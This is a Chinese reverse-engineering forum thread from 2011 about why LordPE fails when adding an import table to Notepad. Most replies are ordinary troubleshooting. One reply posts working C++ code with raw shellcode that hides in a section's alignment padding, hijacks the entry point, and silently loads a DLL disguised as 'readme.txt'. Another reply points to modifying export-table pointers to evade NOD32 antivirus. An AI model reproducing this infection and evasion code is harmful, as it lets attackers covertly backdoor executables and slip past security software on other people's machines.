首页
社区
课程
招聘
[旧帖] [求助]LordPE添加输入表出错 0.00雪花
发表于: 2011-5-16 17:01 5411

[旧帖] [求助]LordPE添加输入表出错 0.00雪花

2011-5-16 17:01
5411

LordPE添加输入表出错,不知道何故,希望高手解答

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 612
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
新手来顶顶看看高手们怎么弄
2011-5-16 17:06
0
雪    币: 280
活跃值: (58)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
64位的程序?
2011-5-16 17:26
0
雪    币: 278
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xph
4
32位的,系统自带的记事本
2011-5-16 17:35
0
雪    币: 278
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xph
5
发现问题所在用 ResScope 修改过的exe再用lordPE添加输入表就会出现这情况
2011-5-16 19:25
0
雪    币: 273
活跃值: (64)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
6
嘿嘿,写shellcode直接定位LoadLibrary动态加载你需要引入的dll。
//下面的代码是通过寻找区段间因为对齐而产生的NULL空区域,然后写入Shellcode,shellcode的作用是定位kernel32.dll中的loadlibraryw然后动态加载dll,dll文件名为 readme.txt,起的名字有点迷惑性,你懂的。用的时候,记得将要注入的dll 写成readme.txt的名字

示例代码如下:
BOOL InjectPe(PCHAR pefile)
{
        LPVOID lpbase = FileMap(pefile);
        if (lpbase==NULL) return FALSE;
       
        pdos = (PIMAGE_DOS_HEADER)lpbase;
        pnt = (PIMAGE_NT_HEADERS)((PBYTE)lpbase + pdos->e_lfanew);
        DWORD dwOep = pnt->OptionalHeader.ImageBase + pnt->OptionalHeader.AddressOfEntryPoint;
        pfirst = (PIMAGE_SECTION_HEADER)((PBYTE)lpbase + pdos->e_lfanew + sizeof(IMAGE_NT_SIGNATURE) + sizeof(IMAGE_FILE_HEADER)
                + pnt->FileHeader.SizeOfOptionalHeader);
       
        //判断代码段中的零区域
        DWORD dwCode = (pfirst + 1)->VirtualAddress - pfirst->VirtualAddress - pfirst->Misc.VirtualSize;
        DWORD dwNullRva = pfirst->VirtualAddress + pfirst->Misc.VirtualSize;
        cout<<hex<<pfirst->Name<<": "<< dwNullRva        + pnt->OptionalHeader.ImageBase<<"        size:"<<dwCode<<endl;
        if (dwCode <= 0x82)                 
        {
                cout<<"not enough space to write !"<<endl;
                UnmapViewOfFile(pe.lpbase);
                CloseHandle(pe.hmap);
                CloseHandle(pe.hfile);
                return FALSE;                 
        }

        CHAR shellcode[200] = "\x68\x90\x90\x90\x90"
                "\x60\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x8B"
                "\xE8\x8B\x45\x3C\x8B\x54\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\x49\x8B\x34\x8B\x03"
                "\xF5\xB8\x4C\x6F\x61\x64\x39\x06\x75\xF1\xB8\x4C\x69\x62\x72\x39\x46\x04\x75\xE7\x8B\x5A\x24"
                "\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x6A\x00\x68\x78\x00\x74\x00"
                "\x68\x2E\x00\x74\x00\x68\x6D\x00\x65\x00\x68\x61\x00\x64\x00\x68\x72\x00\x65\x00\x8B\xDC\x53"
                "\xFF\xD0\x83\xC4\x18\x61\xC3";
       
       

        DWORD dwSecOffset = pfirst->VirtualAddress - pfirst->PointerToRawData;
        DWORD dwNullOffset = dwNullRva - dwSecOffset;
        //更改OEP
        *(DWORD*) & shellcode[1] = dwOep;         
        SetFilePointer(pe.hfile,dwNullOffset,NULL,FILE_BEGIN);
        DWORD dwReal = 0;
        WriteFile(pe.hfile,shellcode,200,&dwReal,NULL);
        //更新入口点
        pnt->OptionalHeader.AddressOfEntryPoint = dwNullRva;       
        UnmapViewOfFile(pe.lpbase);
        CloseHandle(pe.hmap);
        CloseHandle(pe.hfile);
        return TRUE;
}
2011-5-21 05:22
0
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
指针错误。。

详细可以参考,  输出表指针修改过NOD32
2011-5-29 21:29
0
雪    币: 143
活跃值: (61)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
8
其实狠简单…因为纪事本的输入表后直接连着区段头或者对应的导入dll的名字。你用lordpe 修改,它直接覆盖上去…
方法是重建输入表后再添加。
2011-5-30 11:28
0
游客
登录 | 注册 方可回帖
返回
//